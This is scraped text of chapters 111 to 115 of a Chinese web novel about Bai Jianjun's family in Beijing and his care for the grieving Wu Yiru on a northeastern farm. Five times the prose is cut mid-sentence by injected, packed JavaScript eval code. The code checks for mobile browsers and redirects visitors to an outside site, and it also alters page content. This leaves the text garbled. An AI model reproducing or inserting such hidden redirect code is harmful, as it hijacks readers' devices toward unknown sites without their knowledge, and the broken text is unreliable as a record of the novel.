“你真的要跟她走么？” 白建军感觉自己都要疯了！白建军大喊了一声之后，耳边的聒噪声突然一下子都消失了。 突然徐静理出现在白建军视野的远处，并慢慢的向着白建军走来，而原本穿着一身蓝色当代衣服的徐静理走到白建军面前的时候，身上的衣服瞬间变成了古代的宫装。白建军刚要说什么，一身宫装的徐静理一个拧身，头也不回的转身离去。 白建军想追上徐静理，可是脚下就像生了根一样，一动不动，一身宫装的徐静理或者说是张桂芬就这么消失在了白建军的视线里。 就在白建军焦急万分想要追上徐静理的时候，两行大大的红字突然出现在漆黑一片的半空中，那血红的大字散发着渗人的红光。 “没有取悦到各位看官老爷！” “抹杀！” 血红的“抹杀”二字直愣愣的从远处向着白建军砸了下来，无论白建军怎么使劲，都没有挪动哪怕一丝的距离，白建军只能惊恐的看着不断接近的两个血红的大字。 待血红的“抹杀”二字砸到白建军的身上时，白建军发出了凄厉的一声惨叫。 “啊……！” 白建军一个激灵，直接从噩梦中惊醒。 “建军！建军！你怎么了？”戴着围裙的白建华匆忙的从外面跑了进来，看着坐起来的白建军，把住白建军的肩膀晃了两下。“你刚才叫的那么惨，你到底怎么了？” 李香秀也在黑丽荣的搀扶下，走进了白建军的屋子，李香秀满眼关切的看着白建军。 “姐，我没事！”白建军缓了缓才看着三人说道。“就是刚刚做了个噩梦！” 白建华像哄小孩儿一样来回摸着白建军的头顶轻声说道。 “摸摸毛儿，吓不着！” “呲……！” 看到白建华的举动，黑丽荣和李香秀都笑出了声，而白建军现在恨不得找个地缝钻进去。 “姐……啊！” 白建军拉着长音叫了一声，脑袋也躲开了白建华的摸头杀。 “他还不好意思了！” 白建华看着李香秀和黑丽荣笑着说道。 “姐，你再不回去，菜就又要糊了！” 白建军看着白建华提醒道。 “坏了！” 白建华听到白建军这么说，赶忙快步出了白建军的屋子往旁边的厨房而去。 “你也醒了，正好起来活动活动！” 李香秀见白建军没什么事了，说了一句就在黑丽荣的搀扶下往回走。白建军这边也起来打水洗漱一番。 晚上吃饭的时候，白建军也没说白建华的手艺，糊点就糊点，也不是不能吃。 “姑姑，你怎么找到这儿来的？” 一边吃饭，白建军一边看着黑丽荣问道。 “建华给你写的信，上面有地址啊！”黑丽荣看着白建军笑了笑。“看一眼我就记住了！” “看来你早就计划着要过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14719756|157181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一趟！” 白建军看着黑丽荣，给了她一个别有意味的眼神。 “这次我回家和我奶奶说了认识你的事，我奶奶的意思是带着我爷爷的照片过来看看。”黑丽荣看着白建军解释道。“奶奶说我爷爷当年最大的心结就是一直没能在太爷爷面前尽孝！” “那要是不是呢？”白建军看着黑丽荣问道。“你还会和太奶奶说遗书的事么？” “不是就不是呗！过了年我就来京城这边上学了，到时候我再慢慢找！”黑丽荣笑着点头说道。“不过你说的倒是对的。若是不确定咱们之间的关系，我是不会和七奶奶和建华说这个事的。我打算过几天回去之后找你，那时候再劝你！” “建军，姑姑来的时候，给我和太奶奶都吓一跳！”白建华这时候也看着白建军说道。“我们还以为你在东北的对象找上门来了呢！你是没看到蔡晓丽见到姑姑时候的样子，那就跟要决斗了一样，处处都和姑姑作对，给我和姑姑逗坏了！” “这怎么 还有蔡晓丽的事？” 白建军疑惑的看着白建华问道。 “太奶奶前阶段听到你的事确实病了。我医院那边也一堆事，根本就照顾不过来。”白建华看着白建军认真的说道。“还是蔡晓丽过来帮的我。我白天照顾太奶奶，晚上去上晚班；蔡晓丽白天在食品厂上班，下班之后过来照顾太奶奶。” “那时候你们怎么就没给我发电报啊？” 白建军懊恼的看着白建华和李香秀问道。 “给你发电报，你是回来照顾我，还是继续照顾那个姑娘？”李香秀摇了摇头看着白建军说道。“与其让你陷入两难的选择，还不如不告诉你！” “要不是桂艳分析出吴忆茹大概率会选择去香江，而且你也可能跟着一起去，我还不会建议七奶奶和建华让你回来呢！”黑丽荣看着白建军说道。“她的身份有问题，只能选择非正规渠道，但是对于你来说，这并不是好的选择！” “我说桂艳姐和陈梦莹怎么这么快就回分场了呢！”白建军看着黑丽荣。“原来是防着吴忆茹和我跑路呢！” 第111章 崩溃的吴忆茹 一家人吃过晚饭，白建华就去上晚班了。 “你快回去吧！”白建华看着出来送自己的白建军说道。“蔡晓丽这两天是不会来的，让你失望了！” “你这是哪壶不开提哪壶啊！” 白建军无奈的看着调侃自己的白建华。 “你去陪着太奶奶吧！” 白建华和说完，就骑上自行车上班去了。白建军看着白建华消失在胡同口才准备转身回去，可就是这转身的功夫，白建军看到另一个方向上，田志远和夏默正往回走。 “田伯伯、夏伯伯！” 白建军往前迎了几步和两人打着招呼，可是到了近前白建军就觉得不对劲了，田志远身上都是灰，而夏默身上更有一股臭味。 “建军，你这是什么时候回来的？” 田志远看到白建军也很开心的打着招呼。 “田伯伯、夏伯伯，你们这是……” 白建军疑惑的看着两个人问道。 “我呢，继续扫大街！”田志远乐观的看着白建军说道。“老夏继续扫他的厕所！” “建军、老田，咱们回去说！” 夏默看着白建军难受的表情赶忙拉了一下田志远。 “正好你回来了，一会儿过来陪我和你夏伯伯喝两盅！” 田志远也反应过来这是在胡同里，笑着看着白建军说道。 “田伯伯，我先回去取酒！” 白建军看着两人直接说道。 “那行，一会儿你直接到我家里去！” 田志远笑着点了点头。 白建军拿着酒到了田家之后，本以为会是一个诉苦局或者是吐槽局，但是让白建军没想到的是，无论田志远还是夏默，更关心的是兵团归到地方之后的实际问题。 从春耕面积，谈到机械化程度；从基层工厂的运转又谈到基层的管理问题，白建军是把自己见到的、经历的原原本本的和田志远和夏默说了一遍。白建军是说无再说，两个人才算放过了白建军，而白建军走的时候，两个人还没结束讨论。 “七奶奶先睡了，你也先去休息吧！” 黑丽荣看到回来的白建军，小声的说道。 白建军和黑丽荣点了点头也就回到自己屋子了。 白建军这边是休息了，可是远在东北的吴忆茹已经要崩溃了。 孙桂艳和陈梦莹在白建军走了之后，就负责照顾吴忆茹。现在吴忆茹对陈梦莹也没有表现出太多的抵触，这让陈梦莹也能在吴忆茹这边多待一会儿。 快熄灯之前，陈梦莹也准备先回宿舍那边，孙桂艳也出来送一下陈梦莹。 “艳儿姐，你说咱们这么瞒着吴忆茹，得瞒到什么时候啊！”陈梦莹小声的和送自己的孙桂艳说道。“我看忆茹姐现在精神已经恢复了好多，想来就是知道她妈去世的消息，她也能承受住吧！” “能不能承受得住，咱们谁都不知道！”孙桂艳摇了摇头看着陈梦莹再次强调道。“这个话题就此打住，你回去千万别和宿舍里的人说这件事！” 陈梦莹点了点头，也拿着手电往宿舍走了，两个人不知道的是，吴忆茹就在门口边。陈梦莹和孙桂艳虽然说得小声，但是吴忆茹还是听了个真切。 吴忆茹不可置信的看着回来的孙桂艳指着外面一晃一晃的手电灯光问道。 “小陈说我妈去世了？” “你都听到了？”孙桂艳看着有些激动的吴忆茹叹了口气。“你家街道那边让你回去处理你妈的丧事，前几天你自己什么状态，你自己应该明白。分场这边就让我们三个过去替你办了！” “为什么？” 吴忆茹眼泪刷的一下就流了下来。 “什么为什么？” 孙桂艳都被吴忆茹的问题搞懵了。 “我妈身体好好的，怎么会突然去世啊！” 吴忆茹一把抓住孙桂艳的胳膊，大声的问道。 “你妈是自杀！”孙桂艳看着吴忆茹的样子，心里也跟着难受，但是还是对着吴忆茹解释道。“你想想你都经历了什么，你妈经历的事只能比你经历的更加严重！” 吴忆茹听到孙桂艳的话，身子一下子就瘫软了下去，还是孙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14719757|157181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桂艳眼疾手快一把架住吴忆茹。等把吴忆茹架到炕上让吴忆茹靠在了墙上，孙桂艳这才试着松开了吴忆茹。 “我们知道这个消息的时候，大家都怕你承受不住，怕你想不开！”孙桂艳看着吴忆茹直接说道。“吴忆茹，你一定要挺住，你父母还给你留了一些东西还有信，东西我拿回来了，信在丽荣姐那里。你还是先看看你妈给你留下来的信吧！” 提到信的时候，吴忆茹终于有了一些反应，孙桂艳看着吴忆茹摇了摇头。 “我们拿了那么多东西，回来的时候调查组都过来检查了一遍。这点也在我们的预料之中，所以信放在了丽荣姐身上，她会想办法绕过检查的。” 吴忆茹的眼神又暗淡了下来，之后整个人更是蜷缩了起来，手抱着膝盖，脑袋藏在两手之间不断的抽泣。 未经他人苦，莫劝他人善。孙桂艳现在也不知道怎么劝慰吴忆茹了，孙桂艳觉得现在说什么都是那么的苍白无力。 “忆茹，你别乱跑 ，我去把你父母给你留下的东西拿来！” 孙桂艳现在也是没办法，只能先把吴忆茹父母的遗物找来，虽然有可能适得其反让吴忆茹更难受，但是现在吴忆茹的情绪都憋在心里，那最后恐怕结果会更糟糕。 虽然不放心吴忆茹，但是孙桂艳还是快速的跑回宿舍把吴忆茹父母留给吴忆茹的遗物都拿了过来，其实东西也不是很多，都装在一个一个20厘米见方的铁盒子里。 孙桂艳回来的时候，吴忆茹还是刚刚那个姿势，而且仍然在无声的哭泣，孙桂艳赶紧打开铁盒子并放到了吴忆茹身边。 “吴忆茹，你看看，这个盒子里就是你爸妈留给你的东西！” 在孙桂艳呼唤了好几次之后，吴忆茹才抬起头。孙桂艳看着哭红了眼睛的吴忆茹赶紧把铁盒子拿起来捧到吴忆茹的面前。吴忆茹看了一眼盒子中的几样东西，独独拿起了一个口琴。 吴忆茹双手握着口琴放到了自己的胸前，突然撕心裂肺的喊了起来。那凄厉的声音顺着打开的窗户，在寂静的夜里传出了老远。那凄厉的喊声，比狼嚎都渗人。 第112章 何家探望李香秀，建军想留许晓琴 白建军这边正在厨房做着粥，蔡晓丽和黑丽荣也去正屋那边照顾李香秀起床，实际上根本没用黑丽荣插什么手，都是蔡晓丽在李香秀身边忙活，而且这一看就很熟练。 黑丽荣原本想帮忙，可是不帮还好，一帮忙反倒添乱了，所以黑丽荣干脆坐在旁边看着。没一会儿功夫，蔡晓丽帮着李香秀穿戴好之后，就出去给李香秀打水洗漱。 “七奶奶，这蔡晓丽手脚很麻利啊！” 等蔡晓丽出去，黑丽荣扶着李香秀边走边说道。 “这孩子前段日子都照顾我10来天了！”李香秀也有些不好意思的说道。“我这实在是有些过意不去！” “七奶奶，这事不好办啊！”黑丽荣看着李香秀说道。 “谁说不是呢，我现在都不知道怎么办了！” 李香秀看着黑丽荣也是面露愁容。 这时候蔡晓丽也端着脸盆回来了，黑丽荣和李香秀也都止住了话头。等李香秀洗漱完，白建军那边的粥也做好了，四个人也都坐在了正屋这边吃早饭。 “蔡晓丽，你之前不是在内古那边么？什么时候回的京城啊？” 桌上的气氛有些尴尬，白建军只得硬着头皮没话找话。 “京城这边有政策，现在也面向兵团那边的知青开始招工了，正好有个食品厂在我们那边招工，我就去试了试。”蔡晓丽笑着看着白建军说道。“没成想食品厂那边就把我招了回来！” “这也算好事了！”白建军深以为然的说道。“咱们同学还有谁回来了？” “现在就我从兵团那边回来了，其他人还留在那边，不过现在大家也都想往回来，也都在找机会！”蔡晓丽想了想说道。“只是现在城里没有那么多的岗位，不然大家都回来了。” 说完话，蔡晓丽看着白建军突然问道。 “你呢，准备什么时候回来？” 这个问题一下子给白建军问住了，白建军停顿了一下看了看黑丽荣，又看了看李香秀，最后才和蔡晓丽说道。 “东北那边还有些事，等处理完了我就会回来！” 蔡晓丽并没有再往下问下去，再问下去就等于是逼着白建军表态了。 见两人都不说话，黑丽荣笑着对蔡晓丽提议，让她一会儿陪自己出去走走，黑丽荣要去看看京外。到了京城好几天了，黑丽荣一直都在白家，还没有在京城好好逛逛，蔡晓丽爽快的答应了下来。 吃完了早饭，快到9点了，白建华才下班回来。黑丽荣和蔡晓丽等到白建华回来，两个人和白建华打了招呼才离开。白建华这边正吃着白建军留着的早饭，又有人来了白家这边。 来的人也不是别人，正是何雨柱和冉秋叶带着何森和何琳还有许晓琴一起过来了。 “柱子哥，秋叶姐，你们怎么过来了！” 白建军看着登门的一家四口意外的说道。 “建军，你什么时候回来的？” 何雨柱看到白建军也在，也倍感意外。 白建军把一家四口让进正屋，正看到吃饭的白建华。 “何大哥，秋叶姐，快坐！” 白建华也快吃完了，见到来人，也放下了粥碗。 “建华，你这怎么才吃饭啊？” 在两个孩子和白建军和白建华打过招呼之后，冉秋叶看着白建华问道。 “我这才下晚班！”白建华笑着说道。“正好也我也吃完了！” “建华，你这还得上班呢，老太太你能照顾的过来么？”白建华解释完，冉秋叶看着白建华说道。“上次我来，你就说不用我搭把手，我看你现在比前阶段状态可差多了！” “秋叶姐，柱子哥，我没事！”白建华笑着摇了摇头。“之前最忙的那几天，都有蔡晓丽帮着我，所以我也就没麻烦你们。” “蔡晓丽？”何雨柱疑惑的看着白建军。“和你一起在食堂帮忙的那个女孩？” “是她！”白建军见望过来的何雨柱直接说道。“我也是昨天回来才知道的！” 这时候听到这边动静的李香秀也走了过来，何雨柱两口子连忙带着三个孩子起身跟李香秀打招呼。李香秀一听跟来的那个小女孩儿是许晓琴，立马看了白建军一眼，然后笑着对众人说道。 “你们先聊着，我带几个孩子进去！” “何森、何琳，晓琴，你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14719758|157181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们跟老祖进去，都乖乖的啊！” 冉秋叶郑重的对着三个孩子说道。 三个孩子都点了点头，李香秀这才一手拉着何琳一手拉着许晓琴，看着何森在前面跑进了里屋。 “柱子哥，晓琴怎么跟着你们一起来了？”白建军看着三个孩子走了，这才看着何雨柱问道。“今天是礼拜天，秦京茹不是休息么！” “唉，你别提了！”何雨柱叹了口气。“许大茂那个王八蛋又回来了，非要和秦京茹复婚。最近他搅和的我们院里鸡飞狗跳的。秦京茹今天一早就把晓琴托付给我们，她抱着晓玲躲出去了！” “晓琴在你这，许大茂不敢扎刺，可是毕竟许大茂是她爹啊，你这也不能拦着人家父女团圆吧！” 白建军看着何雨柱说道。 “谁说不是呢！”何雨柱也是闹心。“可许大 茂那是什么操行，要是让晓琴跟他接触多了，那孩子都得跟着她学坏了。” “姐，我看太奶奶挺喜欢孩子的！”白建军又看向了白建华。“要不，咱们让这孩子在咱家陪着太奶奶一段时间？” 白建华被白建军这一个突然的转折一下子弄愣了，这怎么说着说着，就要把另一个女孩留下来了呢？ “晓琴可听话了，年前我去95号院的时候，就是我给她喂饭，她坐在我怀里，可乖了！”白建军笑着看着白建华说完，还不忘看向了何雨柱两口子。“柱子哥，秋叶姐，这事你们还记得吧！” 白建军的话同样也让何雨柱、冉秋叶两口子懵住了。 “建军，你说的事我倒是记得，可是这孩子也不是我俩的孩子啊！” 何雨柱看着白建军直接说道。 “柱子哥，癞蛤蟆爬脚面，不咬人它膈应人！”白建军看着何雨柱笑着说道。“许大茂就是那只癞蛤蟆，你烦他烦的要死，可是晓琴要是在你们家呆着，许大茂就有理由上你们家去，你还不能拦着，我说的对吧！” “建军，这话你倒是说的没错，可是毕竟我们答应秦京茹照顾晓琴，这也不能一转眼的功夫，就把她放到你们家啊！”冉秋叶同样看着白建军说道。“我们俩这也没法跟秦京茹交代啊！” 第113章 感情纠葛烦人心 京城，白家。 白建华看了看白建军又看了看李香秀。 “太奶奶，您早知道啦！” “我也是过年的时候才知道！”李香秀看了看白建军苦笑的对着白建华说道。“你这好弟弟瞒了我们好几年了，今年过年的时候我问起他对象的事，这才跟我说了京城还有两个闺女。” “白建军，该说不说，你这保密工作做的确实到位！这就在我们眼皮子底下，我们愣是不知道！”白建华戏谑的看着白建军说道。“我现在是知道了，你为什么老往95号院跑，合着那边有个蜜等着你呢啊！” “建华，你就别呲哒他了！”李香秀笑着看着白建华说道。“还是先说说孩子的事吧！” “太奶奶，您就惯着他吧！” 白建华一跺脚看着李香秀说道。 “我是没什么意见，人家妈若是愿意给咱们家送来，咱们就养着，反正辛苦的是蔡晓丽不是我！”白建华说完就往自己屋子走，边走边感叹的说道。“唉，可怜的蔡晓丽啊，这还没进白家的门，就要帮着养别人生的姑娘啦！” “太奶奶，我让孩子过来待几天，一个是想着让她陪着您，也能让你心情好一些，再一个是想让秦京茹知道我对孩子的态度。” 白建华就这么回去休息了，白建军也向李香秀解释自己的意图。 “还有一句，你没说，你就是不想人家复婚！”李香秀看着白建军笑着说道。“我没说错吧！” “嗯，我就是不想她复婚！” 白建军点头承认道。 “吃着碗里的，望着盆里的，想着锅里的！”里间的屋子里突然传来白建华的声音。“还有一个主动往你碗里跳的！” “建军，你不用理你姐！”李香秀看了看白建华的方向，然后看着白建军说道。“当初我就和你说过，孩子来咱家没问题，住多久都成，但是孩子她妈就算了！你能明白我的意思吧！” “太奶奶，我明白！” 白建军点了点头。 “建华，这件事只到这里！”李香秀跟白建军说完，又对着里屋说了一句。“无论是你丽荣姑姑，还是蔡晓丽，还是其他什么人，一个字都不要透露出去！” “我什么都没听见，我什么都不知道！”里屋传来白建华的声音。“我睡着了！” 白建军是希望秦京茹能同意许晓琴来白家待一段时间的，就像白建军说的那样，有个小孩子在李香秀身边，能让李香秀心情好起来，也能看到活着的奔头，李香秀年龄大了，现在缺的就是精气神。白建军现在很担心李香秀不等自己从东北回来就先撒手而去。 白建军想的很好，但是秦京茹并没有如白建军的意。 何雨柱和冉秋叶带着三个孩子在街上逛了一圈，又去了冉秋叶她爸那边，等到吃过晚饭，两大三小才回到95号院，这时候秦京茹还没回来呢。等到了快锁院门的时候，秦京茹才抱着许晓玲从外面回来。 秦京茹先来接许晓琴，冉秋叶先让几个孩子在家玩，自己则和秦京茹先回了后院秦京茹的家里。冉秋叶把白建军的建议和秦京茹说了一遍，并说了李香秀和白建华也都没有反对。 “京茹，白建军你也认识，他是个热心肠！”冉秋叶看着秦京茹说道。“他是想帮着我们，这也是解决了你的麻烦了么？” “冉老师，您替我谢谢他！”秦京茹看着冉秋叶直接说道。“本来总麻烦你们就让我挺过意不去的，我不能再给人家添麻烦了！” 冉秋叶也就是和秦京茹提了这么一嘴，见秦京茹拒绝的这么干脆，冉秋叶也没有再劝。 秦京茹之后就把两个孩子都领回了家里，一到家就向许晓琴问了她今天都和何雨柱一家去哪了，已经四岁的许晓琴兴奋的把自己一天的行程都和秦京茹说了一遍。 从许晓琴的话里，秦京茹就感觉出白家这位老祖肯定是知道许晓琴的身份了。 “我这边瞒着这个，瞒着那个的，你可是跟家里把什么话都说了啊！” 秦京茹的思绪不由想到了白建军。 “晓琴，你愿意在老祖家待着么？” 秦京茹看着许晓琴问道。 “妈，你是不要我了么？”许晓琴一听秦京茹的话， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14719759|157181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧张的拉住秦京茹的手。“我听话，你别把我送人！” “妈怎么会把你送人呢！”看着快要急哭了的许晓琴，秦京茹连忙抱住许晓琴，炕上2岁多的许晓玲也爬到了秦京茹身边，秦京茹又把许晓玲抱住，坚定的说道。“妈不会把你们给别人的！谁都不能把咱们娘仨分开！” 白建军在家里这边呆了三天也没看到冉秋叶把许晓琴带来，白建军就知道了秦京茹的选择。白建军现在也没有其他办法，许大茂的事现在只能秦京茹自己去解决了。 …… 黑丽荣在京城呆了好几天也准备先回农场那边了，白建军原本还想在京城待几天，可李香秀却让白建军跟着黑丽荣一起回去。 “建军，我现在没什么大事，在家静养就好！家里有建华，你不用太担心！”李香秀看着白建军安慰着说道。“你就先跟着丽荣一起回去！” “白建军，你赶紧回去把事情处理完！我现在只 求你别再弄出什么乱七八糟的事了！”白建华等李香秀说完才认真的看着白建军说道。“你只要不再作妖，家里就会风平浪静的！” 白建军现在理亏，也不好在这个时候和白建华争辩，这样只会让白建华更讨厌吴忆茹。 “太奶奶你不用担心，平时身边有我照顾她，隔壁建国还有田伯伯、夏伯伯也都能帮我搭把手！”白建华知道白建军放心不下李香秀，所以也看着白建军认真的说道。“而且不是还有蔡晓丽、还有何大哥他们么，这么多人有事的时候也都能帮衬一二，你就放心吧！” “太奶奶、姐，别的我不敢保证，但是我能保证年底之前，我一定想办法回来！” 白建军看着白建华和李香秀同样认真的说道。 “你一直都是主意正的，所以我也就不多和你说什么了！”李香秀看着白建军认真的说道。“但是像这次的事情，一定不能再发生了！我现在只希望你现在平平安安的，不要被搅合到任何漩涡里！” “七奶奶，我回去也帮您看着他！”黑丽荣扶着李香秀安慰着说道。“他不是说年底之前回来么，这阶段您就把他交给我吧！” 第114章 逐渐恢复的吴忆茹 东北地区，鹤山农场九分场。 自从白建军从京城回来之后接手了照顾吴忆茹的事情，张大山和林国栋他们终于从魔音灌耳的折磨中解脱了出来。虽然偶尔也能听到吴忆茹吹口琴，但毕竟不像以前那样天天吹、时时吹。 吴忆茹现在这个情况，其实可以送到医院去，但是张大山和林国栋知道，吴忆茹只有在分场这边待着，身边都是熟悉的人才能让她恢复过来，去外地的医院治疗只会适得其反。而且以吴忆茹现在的身份，能不能受到精心的治疗都是个未知数。 虽然外面的天气也热了起来，但是由于开着窗户，微风吹进来，也没那么让人难熬。这天本来是挺平静的一天，也没有传来口琴声，张大山和林国栋都在各自的办公室里办公。可是突然内部电话急促的响起打破了这难得的平静。 “什么，你再说一遍？” 张大山拿着电话再次确认道，等电话里再次传来确认消息之后，张大山才放下了电话。 “老林！老林！” 张大山打开门，直接就在走廊里喊上了。 “什么事？”林国栋听到张大山的喊声，也从办公室走了出来。“你喊什么！” “刚接到农场那边的电话！”张大山略带悲伤的看着林国栋说道。“总司令下午走了！” “总司令？” 林国栋同样不可置信的看着张大山再次确认道。 “是的！”张大山点了点头。“现在先把职工们都叫回来吧！” 张大山和林国栋两个人都是退伍之后直接来到兵团这边的，虽然早就退伍多年，但是两个人一直没忘了自己是个兵。 “我让海兵去把人都叫回来！” 张大山说完就转身出去了。 “这今年怎么这么多事啊！” 林国栋感叹了一句，也去了广播室那边，接下来几天都要像年初那几天一样安排了，林国栋是有的忙了。 白建军这几天一直在后面陪着吴忆茹，自从京城邮寄过来了一封黑丽荣的挂号信到了之后，吴忆茹吹口琴的频率逐渐下降。 这封信就是黑丽荣用蔡晓丽的名义寄给自己的，而里面就是吴忆茹母亲留给吴忆茹的遗书，黑丽荣在拿到遗书后，也给吴忆茹读了一遍。虽然吴忆茹是边听边流泪，但是总算是让吴忆茹能稍微恢复了一些正常。 而且这些天以来，白建军看到吴忆茹虽然偶尔拿着口琴发呆，但是也会拿起遗书发呆。吴忆茹要是单方面的陷入到一种情绪中，那很有可能会没办法走出来，但是现在有了两种选择，那只会慢慢的让吴忆茹恢复应有的理性。 白建军正在凳子上静坐突然就感觉外面由远及近一阵闹闹哄哄的声音传来，白建军连忙站起来向外面看去。 没多大会儿功夫，黑丽荣和孙桂艳就跑了过来，她们俩手里还带着黑纱。 “丽荣姐、艳儿姐，这是……” 白建军指着两人手里的黑纱看着两人问道。 “总司令下午去世了，场长把我们都叫了回来了！”黑丽荣看着白建军解释道。“你和忆茹也都带上吧，马上要开始悼念活动了！” 白建军听到这个消息也叹了口气，接过黑丽荣手里的黑纱和别针就去了吴忆茹身边，白建军把黑纱给吴忆茹带好，然后扶着她下了炕，并帮她穿好了鞋。 “忆茹，咱们一起出去一趟！”白建军哄着吴忆茹说道。“出去待一会儿咱们再回来！” 一般没人动吴忆茹的口琴，吴忆茹也不会有太大的反应。白建军说完，顺势扶着吴忆茹往外面走。黑丽荣和孙桂艳也边走边给白建军戴黑纱。 等四人走到场部门口的小操场的时候，九分场这边的知青以及老职工也都到的差不多了。黑丽荣和孙桂艳和白建军点了点头就往前面去了，白建军则扶着吴忆茹站在了队伍的最后面。 随着张大山和林国栋抬着一副总司令的照片从场部里出来，场部的大喇叭里也响起了肃穆的哀乐。 白建军一直扶着吴忆茹，在哀乐响起来的时候，白建军就感觉身边的吴忆茹身体有了轻微的抖动，白建军看向吴忆茹的时候，发现此时吴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14719760|157181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忆茹又开始默默的流泪了。而且白建军感觉吴忆茹的胳膊也在暗暗用力，白建军看过去的时候，才发现吴忆茹的手正紧紧的攥着口琴。 林国栋在让大家三鞠躬后，吴忆茹也听话的跟着三鞠躬，在之后的默哀的环节，吴忆茹也没有出现其他的异样，不过默哀结束之后，白建军发现吴忆茹身前的地上已经落下了好多的眼泪。 这天的悼念活动还只是开始，之后农场那边会另外组织悼念活动，各分场也会组织知青和老职工们去参加，不过农场那边的活动张大山和林国栋都没有叫白建军和吴忆茹去。吴忆茹的情况大家都清楚，这时候也不会有人在这个问题上找麻烦。 这之后的一段日子里，虽然吴忆茹仍然时不时的就会发呆、出神，但是照顾吴忆茹的白建军以及黑丽荣、孙桂艳这些人都能看出来，吴忆茹现在已经差不多恢复到了白建军回京城的状态了。 陈梦莹还觉得吴忆茹很快就能好了，可是白建军他们三个都知道，离着吴忆茹康复还得有一段时间呢。以前的吴忆 茹是装着精神失常，但是现在的吴忆茹可真的是精神失常之后，慢慢恢复到现在这样的。 这天白建军看着吴忆茹吃完中午饭，白建军刚要拿着吴忆茹的饭盒去刷了，吴忆茹突然幽幽的说了一句。 “建军，我想离开这里！” 白建军还以为自己幻听了呢，已经转过去的身子，立马转了过来。 “忆茹，你刚刚说什么？” “建军，我想离开这儿！”吴忆茹眼中含着泪看着白建军说道。“离开农场，离开东北！” “忆茹，你要去哪？是想回上沪么？” 白建军看着吴忆茹直接问道。 “上沪？”吴忆茹看着白建军摇了摇头。“建军，上沪已经没有我的家啦！我现在都不知道我应该去哪了！” “忆茹，你看这样好么？”白建军走到吴忆茹身边微笑着看着吴忆茹说道。“我一会儿去和场长还有林主任说一说，我陪你先回一趟上沪，毕竟你家原来的洋房还在，你还在啊！” 第115章 天灾降临回程受阻 自从白建军找过张大山提带吴忆茹回上沪这件事已经过去了两天，白建军这天下午在屋里陪着吴忆茹，周海兵就找了过来。 “建军，场长让你过去一趟！” 白建军给望向自己的吴忆茹做了一个安心的手势，这才走出了屋子。白建军和周海兵一起来到张大山的办公室，张大山就把好几张手续摆在了白建军面前。 “建军，这是农场革委会开出来的介绍信、这是咱们分场这边的介绍信和你们两个人的假条、这是农场医院开出来的吴忆茹的病历。”张大山把这些手续推到白建军面前。“拿着这些手续，明天你就可以带着吴忆茹回上沪去看看了！” 白建军收起这些手续，连忙向张大山道谢。 “建军，这一路上，只能你自己照顾吴忆茹了！” 张大山看着白建军说道。 白建军再次感谢了张大山就回了吴忆茹那边，告诉她这个好消息。 “忆茹，手续我已经拿到了，明天咱们俩就动身，我陪你回上沪！” 白建军看着吴忆茹开心的说道。 吴忆茹满眼期望的看着白建军，白建军也拿出了张大山给他的各种手续交给了吴忆茹。吴忆茹接过这几张介绍信之后，眼泪又不自觉的流了下来，不过脸上淡淡的笑容，也清晰的映入白建军的眼中。 吴忆茹的好心情连晚上过来看她的黑丽荣等人都察觉了出来，当她们知道白建军要带着吴忆茹去上沪的时候，都觉得白建军的方法能让吴忆茹更好的恢复过来。 